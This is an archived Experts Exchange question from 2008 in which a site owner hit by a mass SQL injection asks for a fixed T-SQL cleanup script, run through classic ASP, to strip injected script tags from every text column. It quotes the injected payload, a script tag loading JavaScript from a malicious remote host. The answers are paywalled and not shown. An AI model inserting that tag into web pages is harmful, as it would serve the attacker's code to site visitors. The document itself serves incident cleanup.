Advertisement

08.11.2008 at 02:17PM PDT, ID: 23639452
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

7.8

SQL Injection Cleanup Script Needed

Asked by RSPANGLER_AVTIA in SQL Query Syntax, MS SQL Server, Active Server Pages (ASP)

Tags:

Hello!

About my environment:
I have a hosted web database that I don't have access to other than with classic ASP and an ODBC connection that thankfully gives me both read and write access to the database.

My Question:
I've been hit by the same SQL injection that everyone else has lately, and have mostly plugged up the holes in my site.... for the better part of a month, I haven't been hit at all... until this weekend.

The last time I got hit I was able to run the code below against my database via a classic ASP web page - it was the only way I could clean up the data. This time, the code isn't working on the new strain of injection that I got hit with. The text that got inserted is:
<script src="http://sdo.1000mg.cn/csrss/w.js"></script>

I'm looking for either a new SQL script that I can execute in my ASP page (which would probably be very helpful for a lot of people), or a fix to the current one that I have attached. I don't know SQL well enough to mess around with it successfully, but I think that this is probably what needs to be updated:

sql = sql & "where ['+@C+'] like ''%<script%</script>'''"

Thanks!!!

(By the way, the attached code DOES work on almost all other versions of the .js injections - several weeks ago before I found almost all of my holes, I executed this regularly using a PHP cron job to keep my site clean.)

Start Free Trial
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
sql = sql & "DECLARE @T varchar(255), @C varchar(255); "
sql = sql & "DECLARE Table_Cursor CURSOR FOR "
sql = sql & "SELECT a.name, b.name "
sql = sql & "FROM sysobjects a, syscolumns b " 
sql = sql & "WHERE a.id = b.id AND a.xtype = 'u' AND "
sql = sql & "(b.xtype = 99 OR "
sql = sql & "b.xtype = 35 OR "
sql = sql & "b.xtype = 231 OR "
sql = sql & "b.xtype = 167); "
sql = sql & "OPEN Table_Cursor; "
sql = sql & "FETCH NEXT FROM Table_Cursor INTO @T, @C; "
sql = sql & "WHILE (@@FETCH_STATUS = 0) BEGIN "
sql = sql & "EXEC("
sql = sql & "'update ['+@T+'] set ['+@C+'] = left("
sql = sql & "convert(varchar(8000), ['+@C+']), "
sql = sql & "len(convert(varchar(8000), ['+@C+'])) - 6 - "
sql = sql & "patindex(''%tpircs<%'', "
sql = sql & "reverse(convert(varchar(8000), ['+@C+'])))"
sql = sql & ")"
sql = sql & "where ['+@C+'] like ''%<script%</script>'''"
sql = sql & "); "
sql = sql & "FETCH NEXT FROM Table_Cursor INTO @T, @C; "
sql = sql & "END; "
sql = sql & "CLOSE Table_Cursor; "
sql = sql & "DEALLOCATE Table_Cursor; "
 
Loading Advertisement...
 
[+][-]08.11.2008 at 02:43PM PDT, ID: 22208556

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 03:11PM PDT, ID: 22208727

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 03:22PM PDT, ID: 22208788

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 03:27PM PDT, ID: 22208818

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 03:35PM PDT, ID: 22208862

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 03:41PM PDT, ID: 22208903

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 04:09PM PDT, ID: 22209000

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 04:41PM PDT, ID: 22209165

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 07:22PM PDT, ID: 22209718

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.11.2008 at 07:36PM PDT, ID: 22209755

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.12.2008 at 03:13AM PDT, ID: 22211457

View this solution now by starting your 7-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zones: SQL Query Syntax, MS SQL Server, Active Server Pages (ASP)
Tags: SQL - ASP
Sign Up Now!
Solution Provided By: ShekharVarshney
Participating Experts: 4
Solution Grade: A
 
 
[+][-]08.12.2008 at 06:00AM PDT, ID: 22212564

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
[+][-]08.13.2008 at 08:19AM PDT, ID: 22222526

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.14.2008 at 07:44AM PDT, ID: 22230752

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]08.14.2008 at 07:47AM PDT, ID: 22230780

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
 
Loading Advertisement...
20080716-EE-VQP-32 / EE_QW_2_20070628